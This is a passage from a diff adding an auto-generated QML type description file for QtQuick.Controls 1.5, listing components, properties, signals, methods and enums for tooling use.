types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtQuick.Controls 1.5' + +Module { + dependencies: [ + "QtGraphicalEffects 1.12", + "QtQml 2.14", + "QtQml.Models 2.2", + "QtQuick 2.9", + "QtQuick.Controls.Styles 1.4", + "QtQuick.Extras 1.4", + "QtQuick.Layouts 1.1", + "QtQuick.Window 2.2" + ] + Component { + name: "QAbstractItemModel" + prototype: "QObject" + exports: ["QtQuick.Controls.Private/AbstractItemModel 1.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "LayoutChangeHint" + values: { + "NoLayoutChangeHint": 0, + "VerticalSortHint": 1, + "HorizontalSortHint": 2 + } + } + Enum { + name: "CheckIndexOption" + values: { + "NoOption": 0, + "IndexIsValid": 1, + "DoNotUseParent": 2, + "ParentIsInvalid": 4 + } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + Parameter { name: "roles"; type: "QVector" } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + } + Signal { + name: "headerDataChanged" + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutChanged" } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutAboutToBeChanged" } + Signal { + name: "rowsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { name: "modelAboutToBeReset" } + Signal { name: "modelReset" } + Signal { + name: "rowsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationRow"; type: "int" } + } + Signal { + name: "rowsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "row"; type: "int" } + } + Signal { + name: "columnsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationColumn"; type: "int" } + } + Signal { + name: "columnsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "column"; type: "int" } + } + Method { name: "submit"; type: "bool" } + Method { name: "revert" } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "parent" + type: "QModelIndex" + Parameter { name: "child"; type: "QModelIndex" } + } + Method { + name: "sibling" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "idx"; type: "QModelIndex" } + } + Method { + name: "rowCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "rowCount"; type: "int" } + Method { + name: "columnCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "columnCount"; type: "int" } + Method { + name: "hasChildren" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "hasChildren"; type: "bool" } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + } + Method { + name: "fetchMore" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "canFetchMore" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "flags" + type: "Qt::ItemFlags" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + Parameter { name: "flags"; type: "Qt::MatchFlags" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + } + } + Component { name: "QAbstractListModel"; prototype: "QAbstractItemModel" } + Component { + name: "QQuickAbstractStyle1" + defaultProperty: "data" + prototype: "QObject" + exports: ["QtQuick.Controls.Private/AbstractStyle 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "padding"; type: "QQuickPadding1"; isReadonly: true; isPointer: true } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + } + Component { + name: "QQuickAction1" + prototype: "QObject" + exports: ["QtQuick.Controls/Action 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "text"; type: "string" } + Property { name: "iconSource"; type: "QUrl" } + Property { name: "iconName"; type: "string" } + Property { name: "__icon"; type: "QVariant"; isReadonly: true } + Property { name: "tooltip"; type: "string" } + Property { name: "enabled"; type: "bool" } + Property { name: "checkable"; type: "bool" } + Property { name: "checked"; type: "bool" } + Property { name: "exclusiveGroup"; type: "QQuickExclusiveGroup1"; isPointer: true } + Property { name: "shortcut"; type: "QVariant" } + Signal { + name: "triggered" + Parameter { name: "source"; type: "QObject"; isPointer: true } + } + Signal { name: "triggered" } + Signal { + name: "toggled" + Parameter { name: "checked"; type: "bool" } + } + Signal { + name: "shortcutChanged" + Parameter { name: "shortcut"; type: "QVariant" } + } + Signal { name: "iconChanged" } + Signal { + name: "tooltipChanged" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "trigger" + Parameter { name: "source"; type: "QObject"; isPointer: true } + } + Method { name: "trigger" } + } + Component { + name: "QQuickCalendarModel1" + prototype: "QAbstractListModel" + exports: ["QtQuick.Controls.Private/CalendarModel 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "visibleDate"; type: "QDate" } + Property { name: "locale"; type: "QLocale" } + Property { name: "count"; type: "int"; isReadonly: true } + Signal { + name: "visibleDateChanged" + Parameter { name: "visibleDate"; type: "QDate" } + } + Signal { + name: "localeChanged" + Parameter { name: "locale"; type: "QLocale" } + } + Signal { + name: "countChanged" + Parameter { name: "count"; type: "int" } + } + Method { + name: "dateAt" + type: "QDateTime" + Parameter { name: "index"; type: "int" } + } + Method { + name: "indexAt" + type: "int" + Parameter { name: "visibleDate"; type: "QDate" } + } + Method { + name: "weekNumberAt" + type: "int" + Parameter { name: "row"; type: "int" } + } + } + Component { + name: "QQuickControlSettings1" + prototype: "QObject" + exports: ["QtQuick.Controls.Private/Settings 1.0"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Property { name: "style"; type: "QUrl"; isReadonly: true } + Property { name: "styleName"; type: "string" } + Property { name: "stylePath"; type: "string" } + Property { name: "dpiScaleFactor"; type: "double"; isReadonly: true } + Property { name: "dragThreshold"; type: "double"; isReadonly: true } + Property { name: "hasTouchScreen"; type: "bool"; isReadonly: true } + Property { name: "isMobile"; type: "bool"; isReadonly: true } + Property { name: "hoverEnabled"; type: "bool"; isReadonly: true } + Method { + name: "styleComponent" + type: "QQmlComponent*" + Parameter { name: "styleDirUrl"; type: "QUrl" } + Parameter { name: "controlStyleName"; type: "string" } + Parameter { name: "control"; type: "QObject"; isPointer: true } + } + } + Component { + name: "QQuickControlsPrivate1" + prototype: "QObject" + exports: ["QtQuick.Controls.Private/Controls 1.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + attachedType: "QQuickControlsPrivate1Attached" + } + Component { + name: "QQuickControlsPrivate1Attached" + prototype: "QObject" + Property { name: "window"; type: "QQuickWindow"; isReadonly: true; isPointer: true } + } + Component { + name: "QQuickExclusiveGroup1" + defaultProperty: "__actions" + prototype: "QObject" + exports: ["QtQuick.Controls/ExclusiveGroup 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "current"; type: "QObject"; isPointer: true } + Property { name: "__actions"; type: "QQuickAction1"; isList: true; isReadonly: true } + Method { + name: "bindCheckable" + Parameter { name: "o"; type: "QObject"; isPointer: true } + } + Method { + name: "unbindCheckable" + Parameter { name: "o"; type: "QObject"; isPointer: true } + } + } + Component { + name: "QQuickMenu1" + defaultProperty: "items" + prototype: "QQuickMenuText1" + exports: ["QtQuick.Controls.Private/MenuPrivate 1.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "MenuType" + values: { + "DefaultMenu": 0, + "EditMenu": 1 + } + } + Property { name: "title"; type: "string" } + Property { name: "items"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "__selectedIndex"; type: "int" } + Property { name: "__popupVisible"; type: "bool"; isReadonly: true } + Property { name: "__contentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "__minimumWidth"; type: "int" } + Property { name: "__font"; type: "QFont" } + Property { name: "__xOffset"; type: "double" } + Property { name: "__yOffset"; type: "double" } + Property { name: "__action"; type: "QQuickAction1"; isReadonly: true; isPointer: true } + Property { name: "__popupGeometry"; type: "QRect"; isReadonly: true } + Property { name: "__isProxy"; type: "bool" } + Signal { name: "aboutToShow" } + Signal { name: "aboutToHide" } + Signal { name: "popupVisibleChanged" } + Signal { name: "__menuPopupDestroyed" } + Signal { name: "menuContentItemChanged" } + Signal { name: "minimumWidthChanged" } + Signal { name: "__proxyChanged" } + Method { name: "__dismissMenu" } + Method { name: "__closeAndDestroy" } + Method { name: "__dismissAndDestroy" } + Method { name: "popup" } + Method { + name: "addItem" + type: "QQuickMenuItem1*" + Parameter { type: "string" } + } + Method { + name: "insertItem" + type: "QQuickMenuItem1*" + Parameter { type: "int" } + Parameter { type: "string" } + } + Method { name: "addSeparator" } + Method { + name: "insertSeparator" + Parameter { type: "int" } + } + Method { + name: "insertItem" + Parameter { type: "int" } + Parameter { type: "QQuickMenuBase1"; isPointer: true } + } + Method { + name: "removeItem" + Parameter { type: "QQuickMenuBase1"; isPointer: true } + } + Method { name: "clear" } + Method { + name: "__popup" + Parameter { name: "targetRect"; type: "QRectF" } + Parameter { name: "atItemIndex"; type: "int" } + Parameter { name: "menuType"; type: "MenuType" } + } + Method { + name: "__popup" + Parameter { name: "targetRect"; type: "QRectF" } + Parameter { name: "atItemIndex"; type: "int" } + } + Method { + name: "__popup" + Parameter { name: "targetRect"; type: "QRectF" } + } + } + Component { + name: "QQuickMenuBar1" + defaultProperty: "menus" + prototype: "QObject" + exports: ["QtQuick.Controls.Private/MenuBarPrivate 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "menus"; type: "QQuickMenu1"; isList: true; isReadonly: true } + Property { name: "__contentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "__parentWindow"; type: "QQuickWindow"; isPointer: true } + Property { name: "__isNative"; type: "bool" } + Signal { name: "nativeChanged" } + Signal { name: "contentItemChanged" } + } + Component { + name: "QQuickMenuBase1" + prototype: "QObject" + exports: ["QtQuick.Controls/MenuBase 1.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "visible"; type: "bool" } + Property { name: "type"; type: "QQuickMenuItemType1::MenuItemType"; isReadonly: true } + Property { name: "__parentMenu"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "__isNative"; type: "bool"; isReadonly: true } + Property { name: "__visualItem"; type: "QQuickItem"; isPointer: true } + } + Component { + name: "QQuickMenuItem1" + prototype: "QQuickMenuText1" + exports: ["QtQuick.Controls/MenuItem 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "text"; type: "string" } + Property { name: "checkable"; type: "bool" } + Property { name: "checked"; type: "bool" } + Property { name: "exclusiveGroup"; type: "QQuickExclusiveGroup1"; isPointer: true } + Property { name: "shortcut"; type: "QVariant" } + Property { name: "action"; type: "QQuickAction1"; isPointer: true } + Signal { name: "triggered" } + Signal { + name: "toggled" + Parameter { name: "checked"; type: "bool" } + } + Method { name: "trigger" } + } + Component { + name: "QQuickMenuItemType1" + exports: ["QtQuick.Controls/MenuItemType 1.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "MenuItemType" + values: { + "Separator": 0, + "Item": 1, + "Menu": 2, + "ScrollIndicator": 3 + } + } + } + Component { + name: "QQuickMenuSeparator1" + prototype: "QQuickMenuBase1" + exports: ["QtQuick.Controls/MenuSeparator 1.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickMenuText1" + prototype: "QQuickMenuBase1" + Property { name: "enabled"; type: "bool" } + Property { name: "iconSource"; type: "QUrl" } + Property { name: "iconName"; type: "string" } + Property { name: "__icon"; type: "QVariant"; isReadonly: true } + Signal { name: "__textChanged" } + } + Component { + name: "QQuickPadding1" + prototype: "QObject" + exports: ["QtQuick.Controls.Private/Padding 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "left"; type: "int" } + Property { name: "top"; type: "int" } + Property { name: "right"; type: "int" } + Property { name: "bottom"; type: "int" } + Method { + name: "setLeft" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setTop" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setRight" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setBottom" + Parameter { name: "arg"; type: "int" } + } + } + Component { + name: "QQuickPopupWindow1" + defaultProperty: "popupContentItem" + prototype: "QQuickWindow" + exports: ["QtQuick.Controls.Private/PopupWindow 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "popupContentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "parentItem"; type: "QQuickItem"; isPointer: true } + Signal { name: "popupDismissed" } + Signal { name: "geometryChanged" } + Method { name: "show" } + Method { name: "dismissPopup" } + } + Component { + name: "QQuickRangeModel1" + prototype: "QObject" + exports: ["QtQuick.Controls.Private/RangeModel 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "value"; type: "double" } + Property { name: "minimumValue"; type: "double" } + Property { name: "maximumValue"; type: "double" } + Property { name: "stepSize"; type: "double" } + Property { name: "position"; type: "double" } + Property { name: "positionAtMinimum"; type: "double" } + Property { name: "positionAtMaximum"; type: "double" } + Property { name: "inverted"; type: "bool" } + Signal { + name: "valueChanged" + Parameter { name: "value"; type: "double" } + } + Signal { + name: "positionChanged" + Parameter { name: "position"; type: "double" } + } + Signal { + name: "stepSizeChanged" + Parameter { name: "stepSize"; type: "double" } + } + Signal { + name: "invertedChanged" + Parameter { name: "inverted"; type: "bool" } + } + Signal { + name: "minimumChanged" + Parameter { name: "min"; type: "double" } + } + Signal { + name: "maximumChanged" + Parameter { name: "max"; type: "double" } + } + Signal { + name: "positionAtMinimumChanged" + Parameter { name: "min"; type: "double" } + } + Signal { + name: "positionAtMaximumChanged" + Parameter { name: "max"; type: "double" } + } + Method { name: "toMinimum" } + Method { name: "toMaximum" } + Method { + name: "setValue" + Parameter { name: "value"; type: "double" } + } + Method { + name: "setPosition" + Parameter { name: "position"; type: "double" } + } + Method { name: "increaseSingleStep" } + Method { name: "decreaseSingleStep" } + Method { + name: "valueForPosition" + type: "double" + Parameter { name: "position"; type: "double" } + } + Method { + name: "positionForValue" + type: "double" + Parameter { name: "value"; type: "double" } + } + } + Component { + name: "QQuickRangedDate1" + prototype: "QObject" + exports: ["QtQuick.Controls.Private/RangedDate 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "date"; type: "QDateTime" } + Property { name: "minimumDate"; type: "QDateTime" } + Property { name: "maximumDate"; type: "QDateTime" } + } + Component { + name: "QQuickRootItem" + defaultProperty: "data" + prototype: "QQuickItem" + Method { + name: "setWidth" + Parameter { name: "w"; type: "int" } + } + Method { + name: "setHeight" + Parameter { name: "h"; type: "int" } + } + } + Component { + name: "QQuickScenePosListener1" + prototype: "QObject" + exports: ["QtQuick.Controls.Private/ScenePosListener 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "item"; type: "QQuickItem"; isPointer: true } + Property { name: "scenePos"; type: "QPointF"; isReadonly: true } + Property { name: "enabled"; type: "bool" } + } + Component { + name: "QQuickSelectionMode1" + exports: ["QtQuick.Controls/SelectionMode 1.1"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "SelectionMode" + values: { + "NoSelection": 0, + "SingleSelection": 1, + "ExtendedSelection": 2, + "MultiSelection": 3, + "ContiguousSelection": 4 + } + } + } + Component { + name: "QQuickSpinBoxValidator1" + prototype: "QValidator" + exports: ["QtQuick.Controls.Private/SpinBoxValidator 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "text"; type: "string"; isReadonly: true } + Property { name: "value"; type: "double" } + Property { name: "minimumValue"; type: "double" } + Property { name: "maximumValue"; type: "double" } + Property { name: "decimals"; type: "int" } + Property { name: "stepSize"; type: "double" } + Property { name: "prefix"; type: "string" } + Property { name: "suffix"; type: "string" } + Method { name: "increment" } + Method { name: "decrement" } + } + Component { + name: "QQuickStack1" + prototype: "QObject" + exports: ["QtQuick.Controls/Stack 1.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "Status" + values: { + "Inactive": 0, + "Deactivating": 1, + "Activating": 2, + "Active": 3 + } + } + Property { name: "index"; type: "int"; isReadonly: true } + Property { name: "__index"; type: "int" } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "__status"; type: "Status" } + Property { name: "view"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "__view"; type: "QQuickItem"; isPointer: true } + } + Component { + name: "QQuickStyleItem1" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Controls.Private/StyleItem 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "border"; type: "QQuickPadding1"; isReadonly: true; isPointer: true } + Property { name: "sunken"; type: "bool" } + Property { name: "raised"; type: "bool" } + Property { name: "active"; type: "bool" } + Property { name: "selected"; type: "bool" } + Property { name: "hasFocus"; type: "bool" } + Property { name: "on"; type: "bool" } + Property { name: "hover"; type: "bool" } + Property { name: "horizontal"; type: "bool" } + Property { name: "isTransient"; type: "bool" } + Property { name: "elementType"; type: "string" } + Property { name: "text"; type: "string" } + Property { name: "activeControl"; type: "string" } + Property { name: "style"; type: "string"; isReadonly: true } + Property { name: "hints"; type: "QVariantMap" } + Property { name: "properties"; type: "QVariantMap" } + Property { name: "font"; type: "QFont"; isReadonly: true } + Property { name: "minimum"; type: "int" } + Property { name: "maximum"; type: "int" } + Property { name: "value"; type: "int" } + Property { name: "step"; type: "int" } + Property { name: "paintMargins"; type: "int" } + Property { name: "contentWidth"; type: "int" } + Property { name: "contentHeight"; type: "int" } + Property { name: "textureWidth"; type: "int" } + Property { name: "textureHeight"; type: "int" } + Signal { name: "transientChanged" } + Signal { name: "infoChanged" } + Signal { name: "hintChanged" } + Signal { + name: "contentWidthChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "contentHeightChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "textureWidthChanged" + Parameter { name: "w"; type: "int" } + } + Signal { + name: "textureHeightChanged" + Parameter { name: "h"; type: "int" } + } + Method { + name: "pixelMetric" + type: "int" + Parameter { type: "string" } + } + Method { + name: "styleHint" + type: "QVariant" + Parameter { type: "string" } + } + Method { name: "updateSizeHint" } + Method { name: "updateRect" } + Method { name: "updateBaselineOffset" } + Method { name: "updateItem" } + Method { + name: "hitTest" + type: "string" + Parameter { name: "x"; type: "int" } + Parameter { name: "y"; type: "int" } + } + Method { + name: "subControlRect" + type: "QRectF" + Parameter { name: "subcontrolString"; type: "string" } + } + Method { + name: "elidedText" + type: "string" + Parameter { name: "text"; type: "string" } + Parameter { name: "elideMode"; type: "int" } + Parameter { name: "width"; type: "int" } + } + Method { + name: "hasThemeIcon" + type: "bool" + Parameter { type: "string" } + } + Method { + name: "textWidth" + type: "double" + Parameter { type: "string" } + } + Method { + name: "textHeight" + type: "double" + Parameter { type: "string" } + } + } + Component { + name: "QQuickTooltip1" + prototype: "QObject" + exports: ["QtQuick.Controls.Private/Tooltip 1.0"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Method { + name: "showText" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + Parameter { name: "pos"; type: "QPointF" } + Parameter { name: "text"; type: "string" } + } + Method { name: "hideText" } + } + Component { + name: "QQuickTreeModelAdaptor1" + prototype: "QAbstractListModel" + exports: ["QtQuick.Controls.Private/TreeModelAdaptor 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "model"; type: "QAbstractItemModel"; isPointer: true } + Property { name: "rootIndex"; type: "QModelIndex" } + Signal { + name: "modelChanged" + Parameter { name: "model"; type: "QAbstractItemModel"; isPointer: true } + } + Signal { + name: "expanded" + Parameter { name: "index"; type: "QModelIndex" } + } + Signal { + name: "collapsed" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "expand" + Parameter { type: "QModelIndex" } + } + Method { + name: "collapse" + Parameter { type: "QModelIndex" } + } + Method { + name: "setModel" + Parameter { name: "model"; type: "QAbstractItemModel"; isPointer: true } + } + Method { + name: "mapRowToModelIndex" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + } + Method { + name: "selectionForRowRange" + type: "QItemSelection" + Parameter { name: "fromIndex"; type: "QModelIndex" } + Parameter { name: "toIndex"; type: "QModelIndex" } + } + Method { + name: "isExpanded" + type: "bool" + Parameter { type: "QModelIndex" } + } + } + Component { + name: "QQuickWheelArea1" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Controls.Private/WheelArea 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "verticalDelta"; type: "double" } + Property { name: "horizontalDelta"; type: "double" } + Property { name: "horizontalMinimumValue"; type: "double" } + Property { name: "horizontalMaximumValue"; type: "double" } + Property { name: "verticalMinimumValue"; type: "double" } + Property { name: "verticalMaximumValue"; type: "double" } + Property { name: "horizontalValue"; type: "double" } + Property { name: "verticalValue"; type: "double" } + Property { name: "scrollSpeed"; type: "double" } + Property { name: "active"; type: "bool" } + Property { name: "inverted"; type: "bool"; isReadonly: true } + Signal { name: "verticalWheelMoved" } + Signal { name: "horizontalWheelMoved" } + } + Component { + prototype: "QQuickWindowQmlImpl" + name: "QtQuick.Controls/ApplicationWindow 1.0" + exports: ["QtQuick.Controls/ApplicationWindow 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "menuBar"; type: "MenuBar_QMLTYPE_4"; isPointer: true } + Property { name: "toolBar"; type: "QQuickItem"; isPointer: true } + Property { name: "statusBar"; type: "QQuickItem"; isPointer: true } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__topBottomMargins"; type: "double" } + Property { name: "__qwindowsize_max"; type: "double"; isReadonly: true } + Property { name: "__width"; type: "double" } + Property { name: "__height"; type: "double" } + Property { name: "contentItem"; type: "ContentItem_QMLTYPE_2"; isReadonly: true; isPointer: true } + Property { name: "__style"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "__panel"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + } + Component { + prototype: "QObject" + name: "QtQuick.Controls.Styles/ApplicationWindowStyle 1.3" + exports: ["QtQuick.Controls.Styles/ApplicationWindowStyle 1.3"] + exportMetaObjectRevisions: [3] + isComposite: true + Property { + name: "control" + type: "ApplicationWindow_QMLTYPE_14" + isReadonly: true + isPointer: true + } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/BusyIndicator 1.1" + exports: ["QtQuick.Controls/BusyIndicator 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + Property { name: "running"; type: "bool" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/BusyIndicatorStyle 1.1" + exports: ["QtQuick.Controls.Styles/BusyIndicatorStyle 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "BusyIndicator_QMLTYPE_21"; isReadonly: true; isPointer: true } + Property { name: "indicator"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/Button 1.0" + exports: ["QtQuick.Controls/Button 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "isDefault"; type: "bool" } + Property { name: "menu"; type: "Menu_QMLTYPE_55"; isPointer: true } + Property { name: "checkable"; type: "bool" } + Property { name: "checked"; type: "bool" } + Property { name: "exclusiveGroup"; type: "QQuickExclusiveGroup1"; isPointer: true } + Property { name: "action"; type: "QQuickAction1"; isPointer: true } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "text"; type: "string" } + Property { name: "tooltip"; type: "string" } + Property { name: "iconSource"; type: "QUrl" } + Property { name: "iconName"; type: "string" } + Property { name: "__position"; type: "string" } + Property { name: "__iconOverriden"; type: "bool"; isReadonly: true } + Property { name: "__action"; type: "QQuickAction1"; isPointer: true } + Property { name: "__iconAction"; type: "QQuickAction1"; isReadonly: true; isPointer: true } + Property { name: "__behavior"; type: "QVariant" } + Property { name: "__effectivePressed"; type: "bool" } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Signal { name: "clicked" } + Method { name: "accessiblePressAction"; type: "QVariant" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/ButtonStyle 1.0" + exports: ["QtQuick.Controls.Styles/ButtonStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "Button_QMLTYPE_60"; isReadonly: true; isPointer: true } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "label"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/Calendar 1.2" + exports: ["QtQuick.Controls/Calendar 1.2"] + exportMetaObjectRevisions: [2] + isComposite: true + defaultProperty: "data" + Property { name: "visibleMonth"; type: "int" } + Property { name: "visibleYear"; type: "int" } + Property { name: "frameVisible"; type: "bool" } + Property { name: "weekNumbersVisible"; type: "bool" 